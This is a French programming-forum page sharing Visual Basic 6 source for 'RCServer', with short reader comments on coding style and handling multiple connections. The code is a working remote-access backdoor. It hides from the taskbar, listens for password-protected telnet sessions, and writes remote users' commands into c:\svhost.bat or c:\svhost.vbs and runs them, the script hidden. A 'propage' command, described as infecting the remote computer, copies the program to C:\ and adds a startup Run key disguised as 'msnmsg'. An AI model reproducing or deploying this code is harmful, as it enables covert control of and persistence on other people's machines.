Soyez le premier à donner votre avis sur cette source.
Vue 8 338 fois - Téléchargée 758 fois
Prenez le zip ca irra mieu :) ' //RCServer// ' Source by Holoduke Dim ident Private Sub Command1_Click() label4.Caption = Text3.Text Call Form_Load End Sub Private Sub Command2_Click() Call Form_Load End Sub Private Sub Command3_Click() Label7.Caption = Text2.Text End Sub Private Sub Form_Load() 'rend l'application ivisible dans la barre des taches Combo2.AddItem "Nobody" Combo3.AddItem "Nobody" Combo2.Text = "Nobody" Text1.Text = Command$ App.TaskVisible = False Winsock1.Close 'ecoute du port Winsock1.LocalPort = label4.Caption Winsock1.Listen Combo1.Clear 'ident est la variable qui permet de savoir a tout moment si 'l'user a deja entrer le bon passord ou pas ident = False End Sub Private Sub Winsock1_ConnectionRequest(ByVal requestID As Long) 'ce qui se passe quand quelqu'un tente de se connecter Winsock1.Close Winsock1.Accept requestID 'message de bienvenue 'Chr$(10) et Chr$(13) veulent dire retour a la ligne + curseur à droite Winsock1.SendData vbCrLf Winsock1.SendData "-=-=-=-=/HoloDuke\=-=-=-=-" + Chr$(10) + Chr$(13) + " -_-_-_-_-_-_-_-_-_-_-_-_-" + Chr$(10) + Chr$(13) + Chr$(10) + Chr$(13) Winsock1.SendData "Password : " Combo2.AddItem Winsock1.RemoteHostIP Combo3.AddItem Winsock1.RemoteHostIP Combo2.Text = Winsock1.RemoteHostIP End Sub Private Sub Winsock1_DataArrival(ByVal bytesTotal As Long) 'quand arrive une information du client telnet 'mis en mémoire de la variable reçue Dim data As String Winsock1.GetData data 'si l'user à déjà mis le mot de passe : If ident = True Then 'en gros, SI l'user a appuyer sur ENTRER If data = vbCrLf Or Right(data, 2) = vbCrLf Then If Right(data, 2) = vbCrLf And Len(data) > 2 Then supp = data data = Mid(supp, 1, Len(supp) - 2) Text1.Text = data End If texxt = Text1.Text 'traduction du message, et appel des autre Private Sub 'ajoute ce que l'user à entré dans la combox (affin d'accumulé les commandes) If Text1.Text = "runbat" Then Call encode_lauchbat: GoTo 32 If Text1.Text = "runvbs" Then Call encode_lauch: GoTo 32 If Text1.Text = "propage" Then Call pro_page: GoTo 32 If Text1.Text = "clear" Then Combo1.Clear: Call see_code: GoTo 32 If Text1.Text = "quit" Then Call Form_Load: GoTo 33 If Text1.Text = "seecode" Then Call see_code: GoTo 32 If Text1.Text = "?" Then Call he_lp: GoTo 32 Combo1.AddItem Text1.Text Combo3.AddItem Text1.Text 32: 'message de confirmation de l'arrivée de la commande Winsock1.SendData "CONSOLE# " Text1.Text = "" 33: ElseIf data = Chr$(8) Then On Error GoTo 6 'ce qui suit indique que si l'user appuis sur supprime, il fau revenir d'un 'cran en arrière et taper un espace supp = Text1.Text supp = Mid(supp, 1, Len(supp) - 1) Text1.Text = supp Winsock1.SendData " " + Chr$(8) 6: Else 'ajoute la lettre qui vien d'arrivée à la textbox Text1.Text = Text1.Text + data End If 'si l'user a déjà entrer le mot de passe.... ElseIf ident = False Then 'si il a appuyer sur Entrer If data = vbCrLf Or Right(data, 2) = vbCrLf Then If Right(data, 2) = vbCrLf And Len(data) > 2 Then supp = data data = Mid(supp, 1, Len(supp) - 2) Text1.Text = data End If If Text1.Text = Label7.Caption Then 'si l'utilisateur à entrer le bon mot de passe, le déclarer comme connecté ident = True Winsock1.SendData "Acces Granted" + Chr$(10) + Chr$(13) + "? for Help" + Chr$(10) + Chr$(13) + "CONSOLE# " Else Winsock1.SendData "Invalid Password" + Chr$(10) + Chr$(13) + "Password : " End If Text1.Text = "" ElseIf data = Chr$(8) Then On Error GoTo 5 'meme épisode que plus haut, pour la supression d'un caractère supp = Text1.Text supp = Mid(supp, 1, Len(supp) - 1) Text1.Text = supp Winsock1.SendData " " + Chr$(8) 5: Else Text1.Text = Text1.Text + data fff = Text1.Text If Len(fff) > 30 Then Text1.Text = "" End If End If End If End Sub Private Sub Winsock1_Close() 'si le client se déconnect, refaire ce qu'il se passe lors du départ Call Form_Load End Sub Private Sub encode_lauchbat() If Check2.Value = 1 Then 'envoi dans un .bat le code contenus dans le combobox et le lance Open "c:\svhost.bat" For Output As #1 For i = 0 To Combo1.ListCount - 1 Print #1, Combo1.List(i) Next Close #1 Shell "c:\svhost.bat", vbNormalFocus Combo1.Clear Else Winsock1.SendData "BAT has been disabled by administrator" + Chr$(10) + Chr$(13) End If End Sub Private Sub encode_lauch() If Check3.Value = 1 Then 'pareil que pour le bat mais bon vbs... Open "c:\svhost.vbs" For Output As #1 For i = 0 To Combo1.ListCount - 1 Print #1, Combo1.List(i) Next Close #1 Shell "c:\svhost.vbs", vbHide Combo1.Clear Else Winsock1.SendData "VBS has been disabled by administrator" + Chr$(10) + Chr$(13) End If End Sub Private Sub he_lp() 'l'aide lorsque l'user entre "?" Winsock1.SendData "| runbat // launch code in vbs" Winsock1.SendData Chr$(10) + Chr$(13) + "| runvbs // launch code in vbs" Winsock1.SendData Chr$(10) + Chr$(13) + "| seecode //" Winsock1.SendData Chr$(10) + Chr$(13) + "| clear // delete code" Winsock1.SendData Chr$(10) + Chr$(13) + "| propage // to infect Remote computer" Winsock1.SendData Chr$(10) + Chr$(13) + "| quit" Winsock1.SendData Chr$(10) + Chr$(13) End Sub Private Sub pro_page() If Check1.Value = 1 Then 'pour copier le serveur dans le disque, et le lancer automatiquement au demarage. On Error GoTo 22 FileCopy App.Path & "\" & App.EXEName & ".exe", "c:\" & App.EXEName & ".exe" Winsock1.SendData "Copy of the file has beeen completed" + Chr$(10) + Chr$(13) 20: On Error GoTo 23 Set WshShell = CreateObject("WScript.Shell") WshShell.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run\msnmsg", "c:\" & App.EXEName & ".exe", "REG_SZ" Winsock1.SendData Chr$(10) + Chr$(13) + "File will restart on next reboot" + Chr$(10) + Chr$(13) GoTo 28 22: Winsock1.SendData Chr$(10) + Chr$(13) + "FileCopy Failed" GoTo 20 23: Winsock1.SendData Chr$(10) + Chr$(13) + "Startup Failed" + Chr$(10) + Chr$(13) 28: Else Winsock1.SendData "Propage fonction has been disabled by administrator" + Chr$(10) + Chr$(13) End If End Sub Private Sub see_code() 'action qui permet de savoir où en est le code Winsock1.SendData " //Code Starts here//" + Chr$(10) + Chr$(13) For i = 0 To Combo1.ListCount - 1 Winsock1.SendData " " + Combo1.List(i) + Chr$(10) + Chr$(13) Next Winsock1.SendData " //Code Finish here//" + Chr$(10) + Chr$(13) End Sub
20 janv. 2004 à 18:17
20 janv. 2004 à 17:36
De préférence, on créée aussi une socket réservée a l'écoute qui reçoit la demande de connexion et c'est la seconde qui accepte la connexion sur une nouvelle instance
Lit le tut' a ce lien
http://www.vbfrance.com/code.aspx?ID=4644
T'embarrasse pas du début, et passe directement au milieu ou il aborde le multi-connexion.
Il explique assez bien comment utiliser les "LOAD" et les "UNLOAD" en ouverture et fermeture de sockets
20 janv. 2004 à 17:14
par contre pour les winsocks, je sai pas trop comment fair pour en acceptée plusieurs....
20 janv. 2004 à 14:57
les lignes comme "GoTo 32" ou Call Form_Load
c'est pas très rigoureux ,un "Call Init_Cnx" pour initialiser le prod serait le bien venu je pense
Une petite remarque constrictive: il n'y a qu'une seule connexion possible a la fois sur ton serveur, en utilisant une collection tu pourras accepter plusieurs connexions simultanées
Sinon, dans le principe, c'est plutôt bien pensé comme utilisation de Winsock. Je te mets 5 à cause de la syntaxe (surtout les goto)
Vous n'êtes pas encore membre ?
inscrivez-vous, c'est gratuit et ça prend moins d'une minute !
Les membres obtiennent plus de réponses que les utilisateurs anonymes.
Le fait d'être membre vous permet d'avoir un suivi détaillé de vos demandes et codes sources.
Le fait d'être membre vous permet d'avoir des options supplémentaires.